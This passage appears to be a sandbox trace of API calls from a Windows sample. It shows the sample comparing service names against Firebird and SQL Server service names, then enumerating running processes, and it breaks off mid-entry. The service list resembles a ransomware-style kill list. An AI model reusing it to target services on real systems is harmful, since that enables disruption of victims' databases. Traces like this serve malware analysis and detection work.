[0091.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0091.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0091.555] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0091.555] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0091.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0091.555] lstrlenW (lpString="nsi") returned 3 [0091.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0091.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0091.555] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0091.555] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0091.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0091.555] lstrlenW (lpString="PcaSvc") returned 6 [0091.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0091.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0091.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0091.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0091.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0091.555] lstrlenW (lpString="PlugPlay") returned 8 [0091.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0091.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0091.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0091.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0091.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0091.555] lstrlenW (lpString="Power") returned 5 [0091.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0091.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0091.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0091.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0091.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0091.556] lstrlenW (lpString="ProfSvc") returned 7 [0091.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0091.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0091.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0091.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0091.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0091.556] lstrlenW (lpString="RpcEptMapper") returned 12 [0091.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0091.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0091.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0091.556] lstrlenW (lpString="RpcSs") returned 5 [0091.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0091.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0091.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0091.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0091.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0091.556] lstrlenW (lpString="SamSs") returned 5 [0091.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0091.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0091.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0091.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0091.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0091.556] lstrlenW (lpString="Schedule") returned 8 [0091.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0091.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0091.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0091.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0091.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0091.556] lstrlenW (lpString="SecurityHealthService") returned 21 [0091.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0091.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0091.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0091.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0091.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0091.557] lstrlenW (lpString="SENS") returned 4 [0091.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0091.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0091.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0091.818] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0091.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0091.818] lstrlenW (lpString="ShellHWDetection") returned 16 [0091.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.818] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0091.818] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0091.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0091.818] lstrlenW (lpString="Spooler") returned 7 [0091.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0091.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0091.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0091.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0091.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0091.818] lstrlenW (lpString="SSDPSRV") returned 7 [0091.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0091.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0091.818] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0091.818] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0091.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0091.818] lstrlenW (lpString="StateRepository") returned 15 [0091.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0091.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0091.818] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0091.818] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0091.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0091.819] lstrlenW (lpString="SysMain") returned 7 [0091.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0091.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0091.819] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0091.819] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0091.819] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x37e89c0 | out: hHeap=0x490000) returned 1 [0091.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0091.835] Process32FirstW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.835] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.836] lstrlenW (lpString="System") returned 6 [0091.836] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.837] lstrlenW (lpString="smss.exe") returned 8 [0091.837] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.837] lstrlenW (lpString="csrss.exe") returned 9 [0091.837] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.838] lstrlenW (lpString="wininit.exe") returned 11 [0091.838] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.838] lstrlenW (lpString="csrss.exe") returned 9 [0091.838] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.839] lstrlenW (lpString="winlogon.exe") returned 12 [0091.839] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.839] lstrlenW (lpString="services.exe") returned 12 [0091.839] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.840] lstrlenW (lpString="lsass.exe") returned 9 [0091.840] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.840] lstrlenW (lpString="svchost.exe") returned 11 [0091.840] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.841] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0091.841] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.842] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0091.842] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.842] lstrlenW (lpString="svchost.exe") returned 11 [0091.842] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.843] lstrlenW (lpString="dwm.exe") returned 7 [0091.843] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.843] lstrlenW (lpString="svchost.exe") returned 11 [0091.843] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.844] lstrlenW (lpString="svchost.exe") returned 11 [0091.844] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.844] lstrlenW (lpString="svchost.exe") returned 11 [0091.844] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.845] lstrlenW (lpString="svchost.exe") returned 11 [0091.845] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.845] lstrlenW (lpString="svchost.exe") returned 11 [0091.845] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.846] lstrlenW (lpString="svchost.exe") returned 11 [0091.846] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.847] lstrlenW (lpString="svchost.exe") returned 11 [0091.847] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.847] lstrlenW (lpString="svchost.exe") returned 11 [0091.847] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.848] lstrlenW (lpString="svchost.exe") returned 11 [0091.848] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.848] lstrlenW (lpString="svchost.exe") returned 11 [0091.848] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.849] lstrlenW (lpString="spoolsv.exe") returned 11 [0091.849] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.849] lstrlenW (lpString="svchost.exe") returned 11 [0091.849] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0091.850] lstrlenW (lpString="audiodg.exe") returned 11 [0091.850] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0091.850] lstrlenW (lpString="sihost.exe") returned 10 [0091.850] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.851] lstrlenW (lpString="svchost.exe") returned 11 [0091.851] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0091.851] lstrlenW (lpString="taskhostw.exe") returned 13 [0091.851] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0091.852] lstrlenW (lpString="explorer.exe") returned 12 [0091.852] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0091.852] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0091.852] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0091.853] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0091.853] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0091.853] lstrlenW (lpString="Memory Compression") returned 18 [0091.854] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0091.854] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0091.854] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0091.855] lstrlenW (lpString="SearchUI.exe") returned 12 [0091.855] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0091.855] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0091.855] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0091.856] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0091.856] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0091.856] lstrlenW (lpString="furholdtopics.exe") returned 17 [0091.856] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0091.857] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0091.857] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0091.857] lstrlenW (lpString="until_commit.exe") returned 16 [0091.857] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0091.858] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0091.858] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0091.858] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0091.858] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0091.859] lstrlenW (lpString="lexmark.exe") returned 11 [0091.859] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0091.859] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0091.859] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0091.860] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0091.860] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0092.077] lstrlenW (lpString="delete disable changing.exe") returned 27 [0092.077] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0092.078] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0092.078] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0092.078] lstrlenW (lpString="underwear.exe") returned 13 [0092.078] Process32NextW (in: hSnapshot=0x370, lppe=0x24dfd2c | out: 